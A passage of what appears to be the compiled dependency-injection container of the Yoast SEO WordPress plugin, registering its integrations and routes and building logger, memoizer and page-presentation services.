        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Primary_Category');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Settings_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Support_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\XMLRPC');
        $instance->register_integration('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration');
        $instance->register_route('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Importing_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Indexing_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Integrations_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Meta_Search_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\SEMrush_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Supported_Features_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Wincher_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Workouts_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field');
        $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui');

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Loggers\Logger' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Loggers\Logger
     */
    protected function getLoggerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer
     */
    protected function getMetaTagsContextMemoizerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Blocks_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Blocks_Helper'] : $this->getBlocksHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context']) ? $this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] : $this->getMetaTagsContextService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] : ($this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Presentation_Memoizer($this))) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Memoizers\Presentation_Memoizer' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Memoizers\Presentation_Memoizer
     */
    protected function getPresentationMemoizerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer'] = new \Yoast\WP\SEO\Memoizers\Presentation_Memoizer($this);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Abstract_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Abstract_Presentation
     */
    protected function getAbstractPresentationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation'] = new \Yoast\WP\SEO\Presentations\Abstract_Presentation();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation
     */
    protected function getIndexableAuthorArchivePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Author_Archive_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] : $this->getAuthorArchiveHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});
        $instance->set_archive_adjacent_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation
     */
    protected function getIndexableDateArchivePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Date_Archive_Presentation(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'});

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation
     */
    protected function getIndexableErrorPagePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Error_Page_Presentation();

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper'] = new \Yoast\WP\SEO\Helpers\Open_Graph\Values_Helper())) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation
     */
    protected function getIndexableHomePagePresentationService()
    {
        $this->services['Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation'] = $instance = new \Yoast\WP\SEO\Presentations\Indexable_Home_Page_Presentation();

        $instance->set_generators(${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Schema_Generator'] : $this->getSchemaGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] : ($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Locale_Generator())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] : $this->getOpenGraphImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator'] : $this->getTwitterImageGeneratorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator']) ? $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] : $this->getBreadcrumbsGeneratorService()) && false ?: '_'});
        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper']) ? 